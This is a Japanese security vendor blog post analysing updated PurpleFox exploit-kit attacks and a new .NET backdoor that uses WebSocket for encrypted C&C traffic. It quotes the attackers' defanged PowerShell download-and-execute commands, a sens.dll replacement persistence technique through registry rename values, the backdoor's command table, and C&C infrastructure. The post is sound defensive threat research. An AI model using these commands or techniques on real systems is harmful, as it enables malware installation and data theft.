もっと詳しく

2021年9月、トレンドマイクロのManaged XDR(MDR)チームは、脆弱性攻撃ツール「PurpleFox」のオペレータに関連する不審な活動を調査しました。調査の結果、攻撃活動に用いるために追加された脆弱性(CVE-2021-1732)や、最適化されたルートキット機能を含め、更新されたPurpleFox攻撃の手法を調査することにつながりました。

さらに当チームでは、侵入活動中に埋め込まれた.NETで書かれた新種のバックドア型マルウェアを発見しました。このバックドアは、PurpleFoxとの関連性が高いと考えられます。トレンドマイクロが「FoxSocket」と呼称するこのバックドアは、WebSocketを悪用してコマンド&コントロール(C&C)サーバとの通信のやり取りを行うため、通常のHTTPトラフィックに比べてより強固で安全な通信手段となっています。

トレンドマイクロは、この特定の脅威が今も中東のユーザを狙っていると推測しています。この攻撃手口は、中東地域のお客様を通じて初めて発見されました。トレンドマイクロは現在、世界の他の地域でもこの脅威が検出されているかどうかを調査中です。

本ブログ記事では、最初に配信されるPurpleFoxのペイロードで観測されたいくつかの変更点に加えて、新たに埋め込まれた.NETバックドアや、これらの機能を配信するC&Cサーバのインフラストラクチャについて解説します。

脆弱性攻撃ツール「PurpleFox」の機能と技術的分析
PowerShell

PurpleFoxの不正活動は、以下のPowerShellコマンドのいずれかが実行されることで開始します。

  • “cmd.exe” /c powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘hxxp[[:]]//103.228.112.246[[:]]17881/57BC9B7E.Png’);MsiMake hxxp[[:]]//103.228.112.246[[:]]17881/0CFA042F.Png”
  • “cmd.exe” /c powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http[:]//117.187.136.141[:]13405/57BC9B7E.Png’);MsiMake http[:]//117.187.136.141[:]13405/0CFA042F.Png”

これらのコマンドは、複数の侵害されたサーバ上にホストされている特定のURLから悪意のあるペイロードをダウンロードします。これらのサーバは、PurpleFox攻撃により構築されたボットネットの一部であり、そのほとんどが中国国内にあります(表1)。

表1:PurpleFoxによって侵害されたサーバの所在地

国名 サーバ数
中国 345
インド 34
ブラジル 29
米国 26
その他 113

これらのサーバから取り出されたペイロードは、以下の3つのコンポーネントで構成される長いスクリプトです。

  1. Tater (Hot Potato – 権限昇格)
  2. PowerSploit
  3. 埋め込まれた脆弱性攻撃ツール(エクスプロイト)に同梱されたバイナリ(権限昇格)

このスクリプトは、64ビットアーキテクチャのシステムを標的としており、まず初めに、標的システムのWindowsのバージョンおよび攻撃対象となる脆弱性に対するホットフィックス(修正プログラム)の適用状況を確認します。

  • Windows 7 / Windows Server 2008
  • Windows 8 / Windows Server 2012
  • Windows 10 / Windows Server 2019

攻撃に適した脆弱性を選択した後、このスクリプトはPowerSploitモジュールを使用して、攻撃対象である脆弱性やMSIコマンドを引数として用いることで、埋め込まれたエクスプロイトに同梱されたバイナリを読み込みます。

この動作における目的は、ユーザの操作なしに管理者としてMSIパッケージをインストールすることです。

MSIパッケージ

インストールされたMSIパッケージは、以下のレジストリキーを削除することから始めます。これらは、過去にインストールされた古いPurpleFoxにより設定されたレジストリキーであり、存在する場合は削除されます。

  • HKLM\SYSTEM\CurrentControlSet\Services\{ac00-ac10}

次にMSIパッケージは、PurpleFoxのバックドアコンポーネント(dbcode21mk.logおよびsetupact64.log)をWindowsディレクトリにインストールします。その後、「HKLM_SYSTEM_CurrentControlSet_Session Manager」というキーに2つのレジストリ値を設定します。

  • AllowProtectedRenamesの値を0x1
  • PendingFileRenameOperationsを以下に変更します。

\??\C:\Windows\AppPatch\Acpsens.dll

 
\??\C:\Windows\system32\sens.dll
\??\C:\Windows\AppPatch\Acpsens.dll
\??\C:\Windows\system32\sens.dll
 
\??\C:\Windows\setupact64.log
\??\C:\Windows\system32\sens.dll

これらのコマンドは、sens.dllC:\Windows\AppPatch\Acpsens.dllに移動し、インストールされたファイル「setupact64.log」と置き換えます。

その後、MSIパッケージは、.vbsスクリプトを実行して、ポート番号135、139、445上での受信接続をブロックするためのWindowsファイアウォールルールを作成します。最後のステップとして、PendingFileRenameOperations(起動時にファイル名を変更するレジストリ値)を反映するために感染システムを再起動してsend.dllに置き換えることで、マルウェアをシステムイベント通知サービス(SENS)として実行させます。

脆弱性攻撃ツール「PurpleFox」に新たに追加されたバックドア

インストールされたマルウェアは、仮想環境向けバックアップツール「VMProtect」で保護された.dllファイルです。このマルウェアは、MSIパッケージによってインストールされた他のデータファイルを使用し、自身の機能のために様々なDLLを解凍して手動で読み込みます。さらにこのマルウェアは、ルートキットドライバを備えています。このドライバもまた、データファイルから解凍され、自身のファイル、レジストリキー、プロセスを隠蔽するために使用されます。この検体は、まず自身を別のファイルにコピーして新たなサービスをインストールした後、元のsens.dllファイルを復元します。その後、自身のファイルやレジストリを隠匿するためにドライバを読み込み、32ビットのDLLである自身のコードモジュールを挿入(インジェクション)するために、32ビットのプロセスシーケンスを生成してインジェクションします。

図1:PurpleFox攻撃のインストールプロセス
図1:PurpleFox攻撃のインストールプロセス
WebSocketを悪用する.NETバックドア
初期配信

このバックドアを取得するための最初の活動は、それより前に実行されたPurpleFox攻撃により侵害された該当のサーバへの侵入の試みが確認されてから3日後に発見しました。Trend Micro Vision One™プラットフォームは、以下の不審なPowerShellコマンドが攻撃手法として用いられていると記録しました。

  • “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/1’))”
  • “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/2’))”
  • “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/3’))”
  • “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/4’))”
  • “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/5’))”
  • “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/8’))”
  • “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/9’))”
図2:不正なPowerShellコマンドに対するTrend-Micro-Vision-Oneのアラート
図2:悪意あるPowerShellコマンドに対するTrend Micro Vision Oneのアラート

トレンドマイクロは、185[.]112.144.245/a/[1-9]のバリエーションのURL上にホストされているペイロードを解析したところ、すべてのURLが、.NETバックドアのメインダウンローダとして機能する別のPowerShellスクリプト2つを配信していることを発見しました。

図3:悪意あるペイロードのコンテンツ
図3:悪意あるペイロードのコンテンツ

観測された2つのPowerShellスクリプトの違いは、Base64でエンコードされたデータ内にありました。このデータは、185[.]112[.]144[.]45/a/dataからダウンロードされた.NETバックドアに引数として渡され、最終的に構成パラメータと一緒に呼び出されました。トレンドマイクロは、2つの異なる構成パラメータが使用されていることを発見しました。トレンドマイクロは、最初の構成パラメータを2021年8月26日に観測し、より多くのドメインが埋め込まれた2つ目の構成パラメータを同年8月30日に観測しました。Base64でエンコードされた構成パラメータをデコードした結果を以下に示します。

図4:2021年8月26日に観測された構成パラメータ
図4:2021年8月26日に観測された構成パラメータ
図5:2021年8月30日に観測された構成パラメータ
図5:2021年8月30日に観測された構成パラメータ

これらの構成パラメータは、C&Cサーバを選択したり、C&Cチャネルの暗号化機能を初期化したりと、.NETバックドアが実行する初期化活動によって使用されます。構成とは別に、ペイロード自体は「185.112.144[.]45/a/data」から取得されます。さらにトレンドマイクロは、同年6月22日までさかのぼり、最近観測された亜種よりも機能が少ない古い亜種をいくつか発見しました。

古い亜種を展開する初期段階では、悪意のあるドメインadvb9fyxlf2v[.]comの作成データと一致しており、構成パラメータにおいては、最近確認された亜種に比べ、C&Cサーバとの通信のやり取りを行うためのサブドメインの数が最小限に抑えられていました。

図6:バックドアの構成
図6:バックドアの構成
.NETバックドアに施された難読化

まず、SQLサーバ上に作成されたバックドアの分析から見ていきます。このバックドアを逆コンパイルすると、難読化されたシンボルを出力しますが、これらの多くは元のシンボルに復元することができませんでした。基本的な静的解析を実行するには、これらのシンボルを人間が読める状態にするだけで十分です。時には、元の名前の一部を復元できることもあります。

図7:難読化が解除されたクラス名とメソッド名
図7:難読化が解除されたクラス名とメソッド名

マルウェアではめったに見られない注目すべき特徴の1つは、C&Cサーバとの通信のやり取りにWebSocketを悪用することで、感染したクライアントとC&Cサーバ間での効率的な双方向チャネルを実現していることです。

WebSocketとは、単一のTCPコネクションだけを通じて、クライアントとサーバの間で交換されるデータストリームをサポートする通信技術のことです。この技術は、HTTPなどの従来のリクエスト/レスポンス・プロトコルとは異なります(図8)。攻撃者はWebSocketを悪用することで、HTTPリクエストやレスポンスのトラフィックに代わる、より隠密性の高いトラフィックを得ることができるほか、検出される可能性の低い、より秘匿性の高い情報送出の機会を得ることができます。

図8:従来の技術(左)とWebSocketの技術(右)の比較図
図8:従来の技術(左)とWebSocketの技術(右)の比較図

バックドアは、C&CサーバとのWebSocket通信を初期化し、TCP接続を維持するためにkeepAliveメッセージを送信することで、WebSocket通信を開いたままにします。これが確立されると、感染システムと選択したC&Cサーバとの間で一連の双方向メッセージが交換され、コネクションにおける暗号鍵の交渉(キーネゴシエーション)が行われます。

図9:クライアントとサーバ間で行われたTCP/IPを介したやり取りの例
図9:クライアントとサーバ間で行われたTCP/IPを介したやり取りの例

WebSocketを初期化し、4つのコールバック関数をWebSocketイベントのハンドラとして登録することで暗号鍵の交渉が実行されます。

図10:コールバック関数を登録するための関数
図10:コールバック関数を登録するための関数

関連するコールバック関数の1つがonOpenです。これは、WebSocketオブジェクトが初めて起動されると、C&Cチャネルの暗号化パラメータを初期化します。次のセクションに示すように、これは主に、C&Cサーバとの最初のDiffie-Hellman(DH)鍵交換メッセージを実装するためのものです。一方、onReceiveハンドラは、安全な通信チャネルが確立されて、暗号化に用いるセッション鍵が更新されたときに、C&Cサーバから受信したすべてのコマンドを処理して実行権を渡します。

WebSocket通信における暗号鍵の交渉

図11に示すように、C&Cサーバとの最初の鍵交換は、登録されたコールバック関数「onOpen」によって実行されます。

図11:onOpen関数
図11:onOpen関数

この関数は、EC DHオブジェクトをいくつかのパラメータで初期化して、共有秘密鍵の交渉を開始します。次に、ECDiffieHellmanKeyDerivationFunctionプロパティがHashに設定されます。このプロパティは、ECDiffieHellmanCngクラスが秘密協定をキーマテリアルに変換する際に使用する鍵導出関数を指定するためのもので、キーマテリアルの生成には(HMACTLSの代わりに)ハッシュアルゴリズムを使用します。

その後クライアントは、プロパティ「PublicKey」の送信を試みます。このプロパティは、C&Cサーバ側の別のECDiffieHellmanCngオブジェクト上で使用され、共有の秘密協定を生成します。最終的にこのデータは、最初の鍵交換メッセージとしてWebSocket上で送信されます。しかし、まだ共有秘密が確立されていないため、クライアントは平文で送信する代わりに、最初の鍵交換で使用するWebSocket上のすべての通信に対して対象鍵暗号方式(AES)を導入しています。AES暗号化は、最初の鍵交換で使用するためのデフォルト鍵を生成します。

図12:AES暗号鍵に用いられた関数とコード
図12:AES暗号鍵に用いられた関数とコード
図13:AES暗号鍵に用いられた関数とコード
図13:AES暗号鍵に用いられた関数とコード

これにより鍵交換メッセージは、図14に示すパラメータを使用してAESで暗号化されます。さらに、176バイトの固定長の実際のAES暗号テキストを使って、次のデバッグセッションでbyte_0という名前のダミー鍵111….11[32]が生成されます。

図14:鍵交換メッセージの構造
図14:鍵交換メッセージの構造

暗号化された176バイトは、WebSocket経由で送信される実際のデータです。これで最初の鍵交換メッセージが終了します。

2回目の鍵交換(C&Cサーバから感染システムへ)

2回目の鍵交換メッセージは、C&Cサーバからクライアントに送信され、onReceive関数によって処理されます。onReceive関数の実行は、メッセージハンドラによって呼び出されます。

図15:onReceive関数を呼び出している様子
図15:onReceive関数を呼び出している様子

このAESで暗号化された2回目の鍵交換メッセージは、304バイトの固定長です。

図16:受信メッセージのコンテンツ
図16:受信メッセージのコンテンツ

次に、この受信メッセージがコントロールプレーンの鍵の確立に関連するものか、通常のデータコマンドに関連するものかを確認します。

前者に関連するものであれば、まずC&Cチャネル上で対称暗号を復号し、ECDH導出関数method_7に実行を渡して共有秘密の生成を完了します。

図17:method_7機能に実行を渡す様子
図17:method_7機能に実行を渡す様子

クライアントは、上記のセクションで示した構成ペイロードから読み込んだRSA公開鍵を読み込むことで、署名されたメッセージを検証します。署名が正しく検証されると、DH交換から鍵材料が取得され、WebSocketチャネルがアクティブである限り使用される永続的な対称暗号鍵(AES)(Symmetric_AES_key変数)として保存されます。

図18:method_7関数
図18:method_7関数
3回目の鍵交換(感染システムからC&Cサーバへ)

WebSocket経由で効率的な暗号化されたコネクションが確立されると、クライアントは、特定のデータ(ユーザ名、システム名、ローカルIP、MACアドレス、Windowsのバージョンなど)を抽出して感染システムのフィンガープリント(拇印)を作成します。そして、これらのデータを安全なチャネル経由で中継し、C&Cサーバ側で感染システムから収集した情報を取得します。これは、WebSocketチャネルが完全に確立される前に行われる最後の鍵交換です。その後C&Cサーバは、次のセクションで説明する追加のコマンドを待機します。

収集される拇印のデータは実行環境ごとに異なるため、鍵交換メッセージの長さもさまざまです。当該調査では、新たに生成された共有秘密鍵を含めた鍵交換メッセージは240バイトでした。

図19:新たに生成された秘密鍵
図19:新たに生成された秘密鍵

上記の通り、KeepAliveメッセージを使ってWebSocketが維持されている限り、オペレータは任意のコマンドを実行するように信号を送ることができるため、次に何が起こるかは主に攻撃目的とオペレータの実際の動機に依存します。

WebSocket経由で送信されるコマンド

このセクションでは、C&Cサーバから送信されているのが観測されたコマンドのいくつかを解説します。以下の表2に示すコマンド番号およびサポートされている機能に関しては、URLのバリエーション間で若干の違いがあります。

コマンドの処理はすべて、メインのonReceiveハンドラの実行権を渡す動作に実装されています(鍵交渉または暗号鍵の再交渉に使用されるコマンド160を除く)。

表2:コマンドの一覧

コマンドコード 機能性
20 感染システム上の現在の日付を送信する
30 すべてのドライブに対するDriveInfo.GetDrives()の結果情報を流出させる
40 特定のディレクトリに対するDirectoryInfo()の結果情報を流出させる
50 特定のファイルに対するFileInfo()の結果情報を流出させる
60 再帰的にディレクトリを検索する
70 WMIクエリを実行する – ManagementObjectSearcher()
80 WebSocketコネクションを終了する
90 プロセスを終了する
100 新たなプロセスを生成する
110 特定のURLから感染システムへのさらなるデータをダウンロードする
120 感染システムからDNSルックアップを実行する
130 感染システムから特定のファイルコンテンツを流出させる
140 特定の場所に新たなコンテンツを書き込む
150 データをダウンロードして特定のファイルに書き込む
160 対称暗号に用いるセッション鍵を再交渉する
180 現在のプロセスID/プロセス名を取得する
210 .NETバックドアの構成パラメータを返す
220 プロセスを強制終了し、別の構成で新たなプロセスを開始する
230 プロセスIDを持つ特定のプロセスを強制終了する
240 バックドア内部のオブジェクトに含まれるプロパティを照会する
260 リクエストされた特定のファイルのハッシュをいくつか流出させる
270 プロセスIDの一覧表示を強制終了する
280 リクエストされたファイル/ディレクトリの一覧を削除する
290 ファイル/ディレクトリの一覧を別の場所に移動させる
300 特定の場所に新たなディレクトリを作成する
WebSocketを悪用するC&Cインフラストラクチャ

当該調査時点では、WebSocketクライアントを制御する複数のアクティブなC&Cサーバが確認されました。トレンドマイクロは、感染システムをプロファイリングし、送信されたさまざまなコマンドを介してC&Cサーバと対話することで、PowerShellダウンローダおよびバックドアの構成パラメータ内で確認されたIPアドレスや登録されたドメインの一覧を作成することができました(表3)。

表3:PowerShellダウンローダやバックドアの構成パラメータ内で確認された
IPアドレスなどの一覧

IPアドレス 説明 ASN 注目すべき不正活動が観測された国
185.112.144.245

(PowerShellペイロードをホストしているサーバ、 /a/[1-9])

(.Netバックドアのペイロードをホストしているサーバ、 /a/data)

AS 44925 ( 1984 ehf ) イラク、サウジアラビア、トルコ、アラブ首長国連邦
185.112.147.50 C&Cサーバ トルコ、米国、アラブ首長国連邦
185.112.144.101 トルコ
93.95.226.157 米国
93.95.228.163 米国
93.95.227.183
93.95.227.169 アラブ首長国連邦
93.95.227.179
185.112.146.72 C&Cサーバと考えられるサーバ
185.112.146.83

.NETバックドアは、構成データからランダムに1つのサブドメインを選択し、WebSocketを介して接続を試みます。ポート番号12345上での接続に失敗した場合は、別のサブドメインを名前解決しようと試みます。

図20:ランダムに選択されるCCサーバの

図20:ランダムに選択されるC&Cサーバの例

これらのC&Cサーバで使用されるメインドメイン「advb9fyxlf2v[.]com」は、初めて亜種が観測されてからわずか数日後の2021年6月17日に登録されたもので、主に、複数のアクティブなサーバ間での負荷分散の目的に使用されていると推測しています。

まとめ

PurpleFoxは最適化されたルートキット機能により、高いステルス性を持って目的を遂行することができるようになりました。これによりPurpleFoxは、感染システム上での持続的な活動が可能となり、感染システムにさらなるペイロードを配信することもできます。トレンドマイクロでは、これらの新たな亜種や不正なペイロードを引き続き監視しています。新たに発見されたWebSocketを悪用する.NETバックドア「FoxSocket」(トレンドマイクロ製品ではBackdoor.MSIL.PURPLEFOX.AAとして検出)は、PurpleFoxの背後にいるオペレータの意図や攻撃活動の目的に関する詳細情報を発見するために綿密に監視されています。

トレンドマイクロの対策

Trend Micro XDR」は高度な分析と人工知能(AI)技術を使用して、エンドポイント、メール、ネットワークなどのアラートを相関させ、一つの防御ポイントの情報だけではわからないような脅威を可視化し、深刻度のレベルに応じて優先順位を付けます。これにより、企業は攻撃がどのように開始され、どの程度拡散しているかを迅速に把握でき、被害を最小化することができます。

Trend Micro Vision One™」は、XDR(Extended Detection and Response)ソリューションを超える付加価値と新たなメリットを提供し、企業が「より多くを把握し、迅速に対応する」という目的を実現する脅威防御のプラットフォームです。メール、エンドポイント、サーバ、クラウドワークロード、ネットワークといった複数のセキュリティレイヤーにまたがる情報を収集し、自動的に相関させる深く幅広いXDR機能を提供する「Trend Micro Vision One™」は、自動化された防御機能によって攻撃の大半を防ぐことが可能となります。

侵入の痕跡(Indicators of CompromiseIoC

今回の記事に関する侵入の痕跡は、こちらを参照してください。

参考記事:

記事構成:岡本 勝之(セキュリティエバンジェリスト)

平子 正人(セキュリティマーケティンググループ)

翻訳:益見 和宏(Core Technology Marketing, Trend Micro™ Research

The post 脆弱性攻撃ツール「PurpleFox」のWebSocketを悪用する新たなバックドア手口を解説 first appeared on トレンドマイクロ セキュリティブログ.